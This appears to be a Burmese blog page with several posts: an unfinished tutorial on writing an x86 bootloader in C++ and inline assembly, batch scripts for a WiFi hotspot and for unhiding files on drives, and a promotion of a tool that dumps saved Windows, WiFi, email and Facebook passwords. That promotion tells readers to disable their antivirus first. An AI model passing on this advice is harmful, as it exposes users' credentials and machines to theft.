Brighter Myanmar က တင္တဲ့ ပို႔စ္ေတြမွာ သာမာန္ထက္ပိုပီးစိတ္၀င္စားစရာေကာင္းတဲ့ Data Processing နဲ႔ Hardware Components ေတြအေၾကာင္းပါပါတယ္၊ အခုေရးမယ့္ ကြန္ျပဴတာ Bootloader Development က High-level နဲ႔ low-level ေပါင္းပီး Bootloader Develop လုပ္မယ့္ Project အေၾကာင္းပါ၊ ပံုမွန္ေတာ့ Desktop Application တို႔ Phone Application တို႔ တည္ေဆာက္ ဖို႔ အတြက္ Hight-level programming ေတြျဖစ္တဲ့ C, C++ နဲ႔ ဖုန္း application အတြက္ Java ကိုအသံုးျပဳၾကပါတယ္၊ ဒါေပမယ့္ လိုအပ္လို႔ low-level Programming နဲ႔ ပတ္သတ္တဲ့ System ၀င္တင္တဲ့ အလုပ္မ်ိဳး ကို လုပ္လာရပီဆိုရင္ low-level programming ျဖစ္တဲ့ Assembly ကိုသံုးရပါလိမ့္မယ္၊ ဒီပို႔စ္ မွာ ကြန္ျပဴတာ စဖြင့္တာနဲ႔ ဘယ္လို အဆင့္ဆင့္အလုပ္လုပ္သြားလဲ နဲ႔ System တစ္ခုလံုး ဘယ္လို ၀န္တင္လဲဆိုတာကိုေျပာသြားမယ္၊ ပီးေတာ့ ကြန္ျပဴတာ System Booting ရဲ့ ပထမဆံုး အစိတ္အပိုင္း ျဖစ္တဲ့ ကိုယ္ပိုင္ boot loader တစ္ခု ဘယ္လို Develop လုပ္မလဲဆိုတာ ကို Project တစ္ခု အေနနဲ႔ ရွင္းသြားမယ္၊
Bootloader ဆိုတာဘာလဲ

ပထမဆံုးေျပာခ်င္တာကေတာ့ ဒီပို႔စ္မွာေရးမယ့္ Bootloader က အရင္ေရးခဲ့ဖူးတဲ့ Android Bootloader မဟုတ္ဘူးဆိုတာပဲ၊ ခု ေျပာမယ့္ Bootloader က ကြန္ျပဴတာ Bootlaoder ပါ၊

Bootloader က ကြန္ျပဴတာ Hard drive ရဲ့ ပထမဆံုး အစိတ္အပိုင္း မွာတည္ရွိတယ္၊ အဲ့ဒီ့ bootloader အစိတ္အပိုင္းကပဲ ကြန္ျပဴတာ ေတြ boot စလုပ္တယ္၊ BIOS (Basic Input Output) က ကြန္ျပဴတာ Power စဖြင့္တာနဲ႔ ကြန္ျပဴတာ ရဲ့ Hard drive ပထမဆံုး အစိတ္အပိုင္းမွာ ရွိတဲ့ ကုတ္ေတြကို စဖတ္ပါတယ္၊ အဲ့ဒီ့ ပထမဆံုး အစိတ္အပိုင္းကို Master Boot Record လို႔ေခၚပါတယ္၊
လက္ေတြ႔လုပ္မယ္
ကိုယ္ပိုင္ Bootloader တစ္ခု တည္ေဆာက္ဖို႔ အတြက္ လိုအပ္တဲ့ ကြန္ျပဴတာ ဘာသာရပ္နဲ႔ အသံုးျပဳမယ့္ IDE ေတြအေၾကာင္းကိုေျပာမယ္၊ ွSystem Boot အတြက္ လိုအပ္တဲ့ အခ်က္အလက္ေတြကိုလဲ ထည့္ေျပာသြားမယ္၊

Bootloader တစ္ခုတည္ေဆာက္ဖို႔ ဘယ္လို ကြန္ျပဴတာ ဘာသာရပ္ေတြ တတ္ထားရမလဲ

ကြန္ျပဴတာ Power စဖြင့္တာနဲ႔ interrupts လို႔ေခၚတဲ့ BIOS function က စတင္အလုပ္လုပ္ပါမယ္၊ BIOS function ျဖစ္တဲ့ Interrupts ရဲ့ အဓီက အလုပ္ကေတာ့ ကြန္ျပဴတာကိုထိန္ခ်ဳပ္မယ့္ Hardware ေတြကို စတင္ အသက္သြင္း ေမာင္းႏွင္ျခင္းပါ၊ ဒီေတာ့ စဥ္းစားရတာ လြယ္တယ္၊ အျခား ဘယ္ Program မွ အလုပ္လုပ္ခြင့္မရခင္ interrupts က အလုပ္စလုပ္မယ္ဆိုေတာ့ အဲ့ဒီ့ interrupts function ကို ေရးမယ့္ ကုတ္က C နဲ႔ C++ မျဖစ္ႏိုင္ေတာ့ဘူး၊ ဘာလို႔လဲဆိုေတာ့ C နဲ႔ C++ က Compiler ေတြလိုတယ္၊ အဲ့ဒီ့လိုပဲ mid-level ဘာသာရပ္ျဖစ္တဲ့ Java က လဲ JVM ရွိမွ အလုပ္လုပ္မွာျဖစ္လို႔ သံုးလို႔မရဘူးေလ၊ ဒီေတာ့ Hardware ေတြကို တိုက္ရိုက္ အလုပ္ခိုင္းႏိုင္မယ့္ low-level ဘာသာရပ္ျဖစ္တဲ့ Assambly ကိုပဲသံုးဖို႔ရွိေတာ့တာေပါ့၊ ဒါ့ေၾကာင့္ ကိုယ္ပိုင္ Bootlaoder Develop လုပ္လိုတဲ့ သူအတြက္ Assambly ဘာသာရပ္ကို အသင့္အသင့္ေတာ့ တတ္ထားဖို႔လိုအပ္ပါတယ္၊ ဒါေပမယ့္ အသဲ အသန္ ကၽြမ္းက်င္ဖို႔ ေတာ့လဲ မလိုလွပါဘူး၊ အေၾကာင္းက Brighter Myanmar ရဲ့ Bootloader Project မွာ High-level ဘာသာရပ္နဲ႔ တည္ေဆာက္ထားတဲ့ ကုတ္ေတြကို low-level နဲ႔ အမိန္႔ေပး အလုပ္လုပ္ခိုင္းတဲ့ "mixed-code" နည္းပညာကိုသံုးသြားမွာမို႔႔ပါ၊ ဒီလို "mixed-code" နည္းပညာကို အသံုးျပဳျခင္းဟာ Bootloader Develop လုပ္ျခင္းကို ပိုမိုေခ်ာေမြ႔ေစမွာျဖစ္ပါတယ္၊ ခုအဓီက သံုးသြားမွာက Hight-level ဘာသာရပ္ျဖစ္တဲ့ C++ ကို အဓိက သံုးမယ္၊ C ကို ကၽြမ္းက်င္ထားရင္ ခု သံုးမယ့္ C++ ကိုေလ့လာရတာလြယ္ပါတယ္၊ ဒါေပမယ့္ ေရးထားတဲ့ ကုတ္ေတြရဲ့ လုပ္ေဆာင္ႏိုင္စြမ္း အဆင့္ျမင့္ဖို႔အတြက္ေတာ့ C++ က ပိုပီး အဆင္ေျပပါတယ္၊ Java နဲ႔ C# ကေတာ့ Virtual Machine ေတြၾကားခံပီး Compile လုပ္ရတဲ့ အတြက္ processor insturctions လုပ္မယ့္ ဒီ Project အတြက္ လံုး၀ကို သံုးမရပါဘူး (Java အတြက္ ၾကားခံ compiler က Java Virtual Machine ျဖစ္ပီး C# အတြက္ေတာ့ .NET ျဖစ္ပါတယ္)၊ ဒီေတာ့ C++ နဲ႔ Assambler ကိုသံုးသြားၾကမယ္၊

ဘယ္လိုု compiler အမ်ိဳးအစားသံုုးသြားမလည္း

ကၽြန္ေတာ္တို႔က mixed-code နည္းကိုသံုးသြားမွာ ဆိုေတာ့ ဘာသာရပ္ႏွစ္ခုကိုေရာမယ္ေပါ့၊ ဘာသာရပ္ႏွစ္ခုဆိုေတာ့ compiler ႏွစ္ခုလိုပီ၊ ပီးေတာ့ .obj ဖိုင္ေတြအျဖစ္ object ဖိုင္ေတြကို ခ်ိတ္ဆက္ေပးမယ့္ linker လဲလိုတယ္၊

processor function ေတြမွာ mode ႏွစ္မ်ိဳးရွိတယ္၊ real mode နဲ႔ protected mode တို႔ပါ၊ real mode က 16-bit ျဖစ္ပီး ကန္႔သတ္ခ်က္ တစ္ခ်ိဳ႕ရွိပါတယ္၊ Protected mode ကေတာ့ 32-bit ျဖစ္ပီး Operation System ေတြအလုပ္လုပ္ရာမွာ အျပည့္ အ၀ ေထာက္ပံ့ေပးထားပါတယ္၊ processor ေတြ စတင္အလုပ္လုပ္တဲ့ အခါ မွာ 16 bit mode နဲ႔ လုပ္ပါတယ္၊ ဒီေတာ့ 16-bit mode အတြက္ အလုပ္လုပ္ႏုိင္မယ့္ Program တစ္ခုကိုတည္ေဆာက္ပီး အလုပ္လုပ္မယ့္ ဖိုင္ေတြ Run ေပးရမယ္၊ Assembler ဖိုင္ေတြကို compile လုပ္ပီး ခ်ိတ္ဆက္ေပးဖို႔ compiler တစ္ခုနဲ႔ linker တစ္ခုလိုမယ္၊ modern compilers ေတြကေတာ့ 32-bit applications ေတြမွာသာလွ်င္ အလုပ္လုပ္တဲ့ အတြက္ 16-bit mode အတြက္သံုးလို႔မရဘူး၊ C++ အတြက္ Compiler ကေတာ့ Microsoft Virsual Studio 1.52 ကိုသံုးသြားမယ္၊ ေအာက္က Compiler စာရင္းကို ၾကည့္ပါ၊

ML 6.15 – Assembler compiler by Microsoft for 16-bit mode;
LINK 5.16 – the linker that can create .com files for 16-bit mode;

CL – С, С++ compiler for 16-bit mode.

အျခား Compiler အမ်ိဳး အစားေတြကိုလဲ အသံုးျပဳႏိုင္ပါတယ္၊
DMC – free compile for Assembler, C, C++ for 16 and 32-bit mode by Digital Mars;
LINK – free linker for DMC compiler;

ေနာက္ထပ္ေရြးခ်ယ္ႏိုင္တဲ့ Compilers ေတြလဲရွိပါေသးတယ္၊

BCC 3.5 – С, С++ compiler that can create files for 16-bit mode;
TASM - Assembler compiler for 16-bit mode;
TLINK – linker that can create .com files for 16-bit mode.

ေအာက္မွာပါ၀င္တဲ့ ကုတ္ေတြအားလံုးကို Microsoft က Compiler ကို သံုးပီးတည္ေဆာက္ထားတာပါ၊

System ေတြ ဘယ္လို Boot လုပ္သလဲ

ဒီ Project နဲ႔ ပက္သက္ပီး အဓိက နားလည္ထားရမယ့္ System Booting အေၾကာင္းကို အက်ည္းခ်ဳပ္ ေျပာပါမယ္၊ အထက္က ပံုကိုေတာ့ ေသခ်ာၾကည့္ထားပါ၊ RAM ရဲ့ Address 0000:7C00 ကိုစပီး control ကို ပို႔ေပးတာနဲ႔ MBR (Master Boot Record) က Operation System boot ကို စတင္ေခၚပါတယ္၊ (MBR- Master Boot Record ရဲ့ အဆင့္ဆင့္ အလုပ္လုပ္ပံုနဲ႔ တည္ေဆာက္ပံုကို အျခား ပို႔စ္ တစ္ခု အေနနဲ႔ ရွင္းျပေပးပါမယ္)၊
ကုတ္အစီအစဥ္

ေနာက္တစ္ပိုက္ေရာက္ရင္ low-level programming သံုးပီး ကုတ္စေရးမယ္၊ ခုေတာ့ တဆင့္စီ လုပ္သြားမယ့္ Plan ကိုရွင္းျပမယ္၊ ခုတည္ေဆာက္သြားမယ့္ Bootloader က ေအာက္က အလုပ္ေတြအားလံုးကို လုပ္ႏိုင္စြမ္းရွိမယ္၊

Memory ရဲ့ 0000:7C00 address ကို မွန္ကန္စြာ ၀န္တင္ႏိုင္ရမယ္၊

high-level language နဲ႔ Develop လုပ္ထားတဲ့ BootMain Function ကိုေခၚႏိုင္ရမယ္၊

Hello World ဆိုတဲ့ စာလံုးကို low-level သံုး message တစ္ခု အေနနဲ႔ ေဖာ္ျပႏိုင္ရမယ္၊

Program architecture

ပထမဆံုး High-level ဘာသာရပ္ေတြ နဲ႔ အလုပ္မလုပ္ႏိုင္ခင္ StartPoint အလုပ္(entity) ကို Assamby ဘာသာသီးသန္႔ သံုးပီး Develop လုပ္မယ္၊ StartPoint အလုပ္(entity) က ဘယ္ Compiler ကိုသံုးမလဲဆိုတာကို ေရႊးခ်ယ္ေပးရမယ့္ တာ၀န္ရယ္ disk ကို ဖတ္ပီးသြားရင္ Memory ရဲ့ ဘယ္ address မွာ ၀န္တင္ရမယ္ဆိုတာကို ညြန္းမယ့္ အလုပ္ ရယ္ processor ေတြရဲ့ register လုပ္မူကို မွန္ေအာင္လုပ္ရမယ့္ အလုပ္ရယ္ High-level ဘာသာရပ္နဲ႔ ေရးထားတဲ့ BootMain ကို ဘယ္လို ထိန္းခ်ဳပ္မူေတြလွမ္းပိုရ ရမယ္ဆိုတဲ့ အလုပ္ေတြကိုလုပ္ရမယ္၊

BootMain ကေတာ့ Program တစ္ခုလံုးရဲ့ အလုပ္လုပ္ေဆာင္မူေတြအားလံုးကို ေရးထားတဲ့ အစိတ္အပိုင္းျဖစ္မယ္၊ CDisplay နဲ႔ CString Classes ေတြက screen ေပၚမွာ message ေတြကိုေဖာ္ျပမယ့္ အစိတ္အပိုင္းကိုတာ၀န္ယူရမယ္၊ CD display Class uက အလုပ္လုပ္တဲ့ အခါမွာ CStringclass ကို ေခၚသံုးသြားမယ္၊ ဒီပို႔စ္မွာေတာ့ Microsoft Visual Studio 2005 (သို႔) 2008 တို႔ ကိုသံုးပီးလုပ္သြားတယ္၊

အရင္ဆံုး အဓိက အလုပ္ကိုလုပ္မယ့္ Makefile Project တစ္ခုကိုတည္ေဆာက္လိုက္ပါ၊

Screen ေပၚမွာ message ကိုေဖာ္ျပမွာ ျဖစ္တဲ့ အတြက္ အရင္ဆံုး Screen ကိုရွင္းထားရပါမယ္၊ ဒီ့အတြက္ BIOS interrupt ကိုသံုးသြားမယ္၊ BIOS မွာ Video adapter, keyboard, disk system တို႔လို ကြန္ျပဴတာ Hardware ေတြနဲ႔ တြဲပီး အလုပ္လုပ္ဖို႔ အတြက္ interrupts ေတြ ရွိပါတယ္၊ interrupt တစ္ခုစီမွာ ေအာက္ပါပံုစံ တည္ေဆာက္ပံုေတြပါပါတယ္၊

int [number_of_interrupt];

number_of_interrupt က inturrupt နံပါတ္ေတြကိုညြန္းပါတယ္၊ interrupt တစ္ခုစီအတြက္ သက္ဆိုင္ရာ Parameters ေတြရွိပါတယ္၊ အဲ့ဒီ့ parameters ေတြကို interrupt ကိုေခၚမသံုးခင္ျဖည့္ထားရပါမယ္၊

"ah" processor register က လက္ရွိအသံုးျပဳေနတဲ့ interrupt ရဲ့ function ေတြရဲ့ အလုပ္တာ၀န္ပါ၊ အျခား registers ေတြကေတာ့ current operation အတြက္ အျခား parameters ေတြကိုညြန္းပါတယ္၊ ခု "int 10h" interrupt က Assembler မွာ ဘယ္လို အလုပ္လုပ္သလဲ ဆိုတာကိုၾကည့္ပါမယ္၊ ဗြီဒီယို mode နဲ႔ Screen ကို ရွင္းႏိုင္တဲ့ 00 function ကိုသံုးၾကည့္မယ္၊

mov al, 02h ; (graphical mode ကို 80x25 ခ်ိန္ရန္)
mov ah, 00h ; (video mode ကို ေျပာင္းတဲ့ function)
int 10h ; (interruption ကိုစေခၚပီ)

ခု Application မွာသံုးမယ့္ interrupts နဲ႔ functions ေတြကို ျပင္ဆင္သြားမယ္၊

int 10h, function 00h; (video mode ကိုေျပာင္းပီး Screen သန္ရရွင္းေရးလုပ္တယ္)၊
int 10h, function 01h – (cursor မွတ္တယ္)၊
int 10h, function 13h – (Screen ေပၚမွာ စာသားေဖာ္ျပတယ္)၊

Mixed code

C++ compiler က Assembler ကို Buildin အျဖစ္ေထာက္ပံ့ေပးထားတဲ့ အတြက္ High-level ဘာသာနဲ႔ ကုတ္ေရးေနတဲ့ အခါ low-level ကိုလဲသံုးသြားႏိုင္ပါတယ္၊ ဒီလို high-level မွာသံုးတဲ့ Assembler ကုတ္ ညြန္ၾကားခ်က္ေတြကို asm insertions လို႔လဲေခၚပါတယ္၊ သူတို႔မွာ _asm ဆိုတဲ့ keyword ေတြကို တြန္႔ကြင္းထဲမွာ ကုတ္အစိတ္အပိုင္းေတြအေနနဲ႔ထည့္ထားရပါတယ္၊ key word ေတြစတင္တဲ့အခါ _asm ဆိုပီးေရးသားပီးစတင္ရပါတယ္၊ ေအာက္က ဥပမာကိုၾကည့္ပါ၊

{ ; ကုတ္စတင္မွဴ
… ; ကုတ္မ်ား
} ; ကုတ္အဆံုး

mixed code တြဲသံုး လက္ေတြ႔သိသြားေအာင္ အထက္က Screen သန္႔ရွင္းေရးလုပ္တဲ့ Assembler ကုတ္နဲ႔ C++ ကုတ္တို႔ကို တြဲသံုးၾကည့္ပါမယ္၊ ဒီ့အတြက္ အရင္ဆံုး return type "void" သံုးပီး ClearScreen() function ကိုတည္ေဆာက္ပါ၊ ပီးရင္ _asm ဆိုပီး Assembler ကုတ္စေရးပါ၊ အထက္က ေျပာခဲ့တဲ့ အတိုင္း တြန္႔ကြင္းထဲမွာေရးပါ၊

void ClearScreen()
{
__asm
{
mov al, 02h ;
mov ah, 00h ;
int 10h ;
}

CString ထည့္သြင္းျခင္း
CString class ကို စာသားတန္ဖိုးေတြနဲ႔ တြဲပီး အလုပ္လုပ္လို႔ရေအာင္ ဒီဇိုင္းစင္ထားတယ္၊ string ေတြကို parameter အျဖစ္ ညြန္းႏိုင္ပီး သေကၤသေတြကို စာသားတန္ဖိုး အေနနဲ႔ return လုပ္ေပးႏိုင္တဲ့ pointer ပါတဲ့ Strlen() method ကို include လုပ္ထားဖို႔လိုမယ္၊

// CString.h ; CString ရဲ့ Header ဖိုင္ကို ထည့္တယ္၊
#ifndef __CSTRING__ //CSTRING ကို ------########## လုပ္တယ္၊
#define __CSTRING__ //CSTRING ကို Define လုပ္တယ္၊
#include "Types.h" //Types header ဖိုင္ကို Include လုပ္တယ္၊
class CString // CString class တည္ေဆာက္တယ္၊
{ public: // access modifier ကို public ထားတယ္၊
static byte Strlen( //တျခား class ကေခၚသံုးႏိုင္ေအာင္ static ထားတယ္ return ေပးမွာက byte code ေတြျဖစ္ျလို႔ byte သံုးတယ္။ Method က Strlen;
const char far* inStrSource //const သံုးပီး charater datatype နဲ႔ pointer ျဖစ္တဲ့ inStrSource တည္ေဆာက္တယ္၊
);
};
#endif // __CSTRING__
// CString.cpp // C++ ဖိုင္တည္ေဆာက္တယ္၊
#include "CString.h" // CString ရဲ့ Header ဖိုင္ကို Include လုပ္တယ္၊
byte CString::Strlen( //byte CString ဆိုပီး Strlen consturctor တည္ေဆာက္တယ္၊
const char far* inStrSource //
)
{
byte lenghtOfString = 0; // String အေရအတြက္ varaible တည္ေဆာက္
while(*inStrSource++ != '\0') //instrSource ကို looping လုပ္၊
{
++lenghtOfString; //တန္ဖိုးက စတင္မွတ္ကေန စေပါင္း
}
return lenghtOfString;// String စာလံုးအေရးအတြက္ကို return လုပ္ေပး၊
}

CDisplay ထည့္သြင္းျခင္း
CDisplay Class က Screen မွာ စာသားေဖာ္ျပဖို႔ အတြက္ ဒီဇိုင္းေဖာ္ဖို႔ပါ၊ CDisplay Class မွာ Method သံုးခုပါမယ္၊

TextOut() // TextOut Method က Screen ေပၚမွာ စာသားေတြ ေဖာ္ျပမယ္၊
ShowCursor() – //ShowCursor() Method က Screen ေပၚမွာ ရွိမယ့္ cursor ရဲ့ show, hide ကိုဖမ္းမယ္၊
ClearScreen() – // ClearScreen() က Video mode ကိုေျပာင္းပီး Screen ကိုရွင္းမယ္၊


// CDisplay.h CDisplay ရဲ့ header ဖိုင္၊
#ifndef __CDISPLAY__
#define __CDISPLAY__
// အေရာင္နာမည္ေတြေခၚမျပေတာ့ဘူး ၊ ေဘးက ေတာ့ Assembler ဘာသာရပ္ရဲ့ အေရာင္တန္ဖိုးသတ္မွတ္မူပါ၊

#define BLACK 0x0
#define BLUE 0x1
#define GREEN 0x2
#define CYAN 0x3
#define RED 0x4
#define MAGENTA 0x5
#define BROWN 0x6
#define GREY 0x7
#define DARK_GREY 0x8
#define LIGHT_BLUE 0x9
#define LIGHT_GREEN 0xA
#define LIGHT_CYAN 0xB
#define LIGHT_RED 0xC
#define LIGHT_MAGENTA 0xD
#define LIGHT_BROWN 0xE


ေနာက္ရက္ဆက္ရန္

ဒီပိုုစ့္ကိုု pdf ဖိုုင္ အျဖစ္ ေဒါင္းလုုဒ္လုုပ္လိုု ပါက ေအာက္ပါ လင့္တြင္း ေဒါင္းလုုပ္ရယူႏုုိင္ပါသည္
http://goo.gl/DBIHIA

ေက်းဇူးျပဳ၍

ဒီပို႔စ္ကို BrighterMyanmar အဖြဲ႔႕ ေရးတာျဖစ္ပီး အကယ္၍ ပို႔စ္ မွာ အမွား ပါေနတာေတြ႔ရင္ ေက်းဇူးျပဳၿပီး brightermyanmar@gmail.com ကို ေၾကာင္းၾကားေပးပါခင္ဗ်ာ၊ ကၽြန္ေတာ္တို႔ ေသခ်ာ ျပန္စီစစ္ပီး ျပင္ပါ့မယ္၊
https://www.facebook.com/brighter.myanmar

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

ကြန္ပ်ဴတာထဲက Password မွန္သမွ် ျပန္လိုခ်င္တယ္ဆိုရင္ (Recover All Passwords in Windows OS)



ဒါေလးကေတာ့ Password ေတြေပးျပီး ေမ့တတ္တဲ႔ သူငယ္ခ်င္းမ်ားအတြက္ပါ... ကြန္ပ်ဴတာထဲမွာရွိသမွ် Password ေတြကို အလြယ္တကူ ျပန္ယူေပးပါလိမ့္မယ္..  ေနာက္ဆံုး Update Version ပါ..။ သူ႕ကို အသံုးျပဳေတာ့မယ္ဆိုရင္ေတာ့ မိမိတို႔ စက္ထဲမွာ တင္ထားတဲ႔ Antivirus ကို ခဏ Disable ေပးထားျပီးမွ Program ကို အသံုးျပဳလို႔ရေစမွာပါ...။ ေနာက္ဆံုးထြက္ Windows 8,8.1 အထိ Compatible ျဖစ္ပါတယ္..။



Program ကို Run လိုက္လို႔ အေပၚကပံုအတိုင္း တတ္လာရင္ မိမိစက္ရဲ႕ OS (32bit or 64bit)  ေပၚ မူတည္ျပီး A (သို႔) B,C တခုခုကိုေရးျပီး Enter ေခါက္ေပးရံုပါပဲ ခဏေနရင္ Notpad ေလးနဲ႔ အတူ Window Password , Email & Password , WiFi Password , Facebook Password စ တာေတြကို ျပန္ရပါလိမ့္မယ္..။


Easy solution to backup your passwords.


1 - Features:
* Backup your Passwords saved in web browsers (Firefox, Google Chrome, e more)
* Backup Product Keys saved in all Microsoft Windows Operating Systems
* Backup Product Keys for Microsoft Office
* Backup Wirelles their passwords (WEP/WAP)
* Backup different passwords logins
* Backup passwords in instant messengers on
* Backup passwords in customer's e-mail
* Backup passwords/data from your routers, your existing usb
* Compatible: Windows XP, Windows 7 , Windows 8, Windows 8.1
* Compatible: Windows X64, Windows X86
* It's safe and fast

 





ဝင္းကမာၻေက်ာ္

www.winkabarkyaw.net

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

computer မွwifi hotspot လြင့္နည္း(bat program)


PhotoPhoto

ဒီbat ေလးက်ေတာ့္တြက္ေတာ့္ေတာ္ေခါင္းစားသြားတယ္...hee hee
ဒါသံုးဖို႕wireless adapter လိုေသးတယ္ေနာ္
လက္ေတာ့မွာေတာ့မလိုဘူးးး
desktop မွာေတာ့လိုဒယ္ ခ်ိတ္နည္းကေတာ့တားတားလည္းတိ၀ူးးလက္ေတာ့ပဲကိုင္တာခိခိ

က်ေတာ္တို႕ဖုန္းကေနwifi ေတြအျပင္ကိုသူမ်ားသံုးနိုင္ေအာင္ hotspot ေလးေတြလြွင့္ျကတယ္ေနာ္အခုက ကြန္ပ်ဴတာကေနလြင့္မွာပါ
bat file ေလးမသံုးခင္ အဲ့ထဲမွာပါတဲ့ အဓိက အေရၾကီးတဲ့command ေလးကိုေျပာျပပါမယ္
အရင္ဆံုးသူငယ္ခ်င္းက wifi hotsopt name နဲ႕ password ကိုအရင္သတ္မွတ္ေပး၇ပါမယ္
cmd ကိုဖြင့္ပါ(press window key+R and then type cmd and press enter)
netsh wlan set hostednetwork mode=allow ssid=yourname key=password
အန္းတားေခါက္ပါ
your name ဆိုတဲ့ေနရာမွာ hotspot နာမ္မည္ထည့္ျပီး password ေနရာမွာ password ထည့္ေပးပါ(၈လံုးေက်ာ္ပါေစေနာ္)
အဆို ယူစာနိမ္းနဲ႕ပက္၀က္သတ္မွတ္ျပီးပါျပီ
အျပင္ကိုထုတ္ဖို႕ကေအာက္ကကြန္မန္းေလးပါ
netsh wlan start hostednetwork
ရိုက္ျပီးအန္းတားေခါက္ပါ
ဒါကိုရပ္လိုက္ခ်င္ရင္ေတာ့
netsh wlan stop hostednetwork
အန္းတားေခါက္ပါ

အဆိုအိုေကပါျပျပိခင္ဗ်ာ
[ပက္၀က္မခံျခင္ရင္ ဒုတိယcommandတန္းရိုက္လို႔ရပါတယ္]
က်ေတာ္ေရးထားတဲ့ bat ကအထက္က သံုးခုကိုအေျခခံေရးထားတာပါခင္ဗ်ာ

အသံုးျပဳနည္း
=======
အရင္ဆံုးwindow key+R တြဲနိပ္ပါ runbox က်လာရင္ notepad လို႕ရိုက္ထည့္ပါ
ctrl +S>file name မွာ hotspot.bat လို႕ေပးပါ
save as type မွာall file ကိုေရြးေပးပါ
desktop ေပၚမွာပဲ Save ေပးပါ
run လိုက္ပါ

အရင္ဆံုးသူငယ္ခ်င္းက user naem နဲ႔ password သတ္မွတ္ဖို႕A လို႕ရိုက္ျပီးအန္းတားေခါက္လိုက္ပါ(A အျကီးစာလံုးေနာ္)
password က အနည္းဆံုး၈လံုးမွရပါမယ္

ျပီးတာနဲ့ လြင့္သြားပါလိမ့္မယ္
က်ေတာ့္ဆိုဒ္လည္းက်လာပါမယ္ message box တစ္ခုလည္းထြက္လာပါမယ္

တကယ္လို႕သူငယ္ခ်င္းက B လုိ႕ရိုက္ျပီးအန္းတားေခါက္ရင္
user name နဲ႕ password သတ္မွတ္ျပီးသားလြင့္သြားမွာပါ
user name=myothantkyaw
password=myothantkyaw

လြင့္တာရပ္ခ်င္ရင္ေတာ့
Cလိုရိုက္ျပီးအန္းတားေခါက္လိုက္ပါ
အဆို အိုေကပါပီ

ဥဥ ကိုကိုတို႕ code ေတြနားလည္ရင္ ျပန္ျပင္ျပီးျကိုက္သလိုျပန္ရွဲနိုင္ပါတယ္ခင္ဗ်ာ

code ကူးတဲ့အခါသတိထားပါ ပံုမွာျပထားတဲ့အတိုင္းအစီအစဥ္က်မွ
ဒီprogram ေအာင္ျမင္မွာပါ

@echo off

title Wifi Hotspot tool for window(Yat Sauk Tar Lay)
set myothantkyaw=myothantkyaw
set myothantkyawpassword=myothantkyaw
:Ma
color 0a
echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
echo.
echo Wifi Hotspot tool For window(Yat Sauk Tar Lay)
echo ++++++++++++++++++++++++++++++
echo.
echo.
echo.
echo If you want to set hotspot name and password.
echo Type A and press enter.
echo.
echo.
echo.
echo IF you want to hotspot from your computer,Type B and press enter.
echo.
echo.
echo.


echo.
echo If you want to stop hotspot network,type C and press enter.
echo ==================================================

echo.
echo.
echo.
echo myothantkyaw20102@gmail.com
echo susushasha@blumail.org
echo.


:Myo

set /p YST=Type you want:
if %YST%==A goto :A
if %YST%==B goto :B
if %YST%==C goto :C
echo.
echo.
echo Please type A and press enter
:A
set /p myothantkyaw=Enter your hotspot name:
set /p myothantkyawPassword=Enter your hotspot password(more than 8 character):

:B
netsh wlan set hostednetwork mode=allow ssid=%myothantkyaw% key=%myothantkyawPassword%
netsh wlan start hostednetwork
msg * Host Name=%myothantkyaw% ,Password=%myothantkyawPassword%.Thank for using this
start http://yatsauktarlay.blogspot.com/?m=1
goto :Ma
:C
netsh wlan stop hostednetwork
start http://yatsauktarlay.blogspot.com/?m=1
goto :Ma

:C
netsh wlan stop hostednetwork
goto :Ma
 

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

သူငယ္ခ်င္းတို႕USB stick အပါအ၀င္ drive D,E,F,G,H,Iမွဖိုင္မ်ားေျပာက္ေနပါသလား

ဥဥတို႔ဘေလာ့မွာပန္ရွဲေပးးေညာ္Plzzz  သူငယ္ခ်င္းတို႕USB stick အပါအ၀င္ drive  D,E,F,G,H,Iမွဖိုင္မ်ားေျပာက္ေနပါသလား +++++++++++++++++++++++++++++++++++++++++++++ သတိ +++ ဒီ bat file ကိုအထက္ပါ drive မ်ားမွာ window တင္ထားရင္မသံုးသင့္ပါ  သူငယ္ခ်င္းတို႕ရဲ႕ memory stick ေလးဗိုင္းရပ္ကိုကိုက္လို႕ပဲျဖစ္ျဖစ္အေျကာငး္အမ်ိုးအမ်ိဴးေျကာင့္ေျပာက္ေနလ်ွင္ျပန္ေဖာ္ဖို႕ပါ အရင္ဆံုး window key+R နိပ္ပီး run box ေခါၚပါ notepad လို႕ရီုက္ထည့္ပါ notepad က် လာရင္ေအာက္ဆံုးကcode ေတြကို ကူးထည့္ပါ (notepad ထဲတြင္ပံုပါအတိုင္း code မ်ားစနစ္က်မွ ဒီprogram အလုပ္လုပ္မွာပါ) file >save as>name မွာ unhide.bat လို႕ေပးပါ desktop မွာပဲsave လိုက္ပါ ျပီးရင္အဲ့ဖိုင္ေလးကို double clickေပးျပီး run လိုက္ပါ  Y လို႕ရိုက္ျပီးအန္းတားေခါက္လိုက္ပါ ၁၀စကၠန့္ေလာက္ျကာရင္ျပီးစီးေျကာင္း message က်ျပီးက်ေတာ့blog ေလးပြင့္သြားပါမယ္::)  ေခါင္းစဥ္မွာပါတဲ့ Drive ထဲကေျပာက္ေနသမွ်ဖိုင္ေတြအကုန္ေပၚမွာပါ  ဒီprogram ေလးထဲကထြက္ခ်င္ရင္ e ကိုနိပ္ျပီးအန္းတားေခါက္လိုက္ပါ အားလံုးပဲအဆင္ေျပပါေစခင္ဗ်ာ.  @echo off :Ma title Unhidden Program (Yat Sauk Tar Lay) echo             Unhide all data from USB Stick(Yat Sauk Tar Lay) echo                    ================================                                  echo.  echo. echo. color 0a echo Please Type Y ,if you unhide Data in Drive D,E,F,G,H,I . echo. echo.  echo Close this program type E and press enter. set /p YST=Type: if '%YST%'=='Y' goto :YST if '%YST%'=='N' goto :N :N attrib -r -h -s /s /D /L D:\*.* if '%YST%'=='E' exit  :YST attrib -r -h -s /s /d /L D:\*.* attrib -r -h -s /s /d /L F:\*.* attrib -r -h -s /s /d /L G:\*.* attrib -r -h -s /s /d /L H:\*.* attrib -r -h -s /s /d /L I:\*.* msg * Your Data are Unhide.Thank for using this. start http://yatsauktarlay.blogspot.com/?m=1 goto :Ma

သူငယ္ခ်င္းတို႕USB stick အပါအ၀င္ drive D,E,F,G,H,Iမွဖိုင္မ်ားေျပာက္ေနပါသလား
+++++++++++++++++++++++++++++++++++++++++++++
သတိ
+++
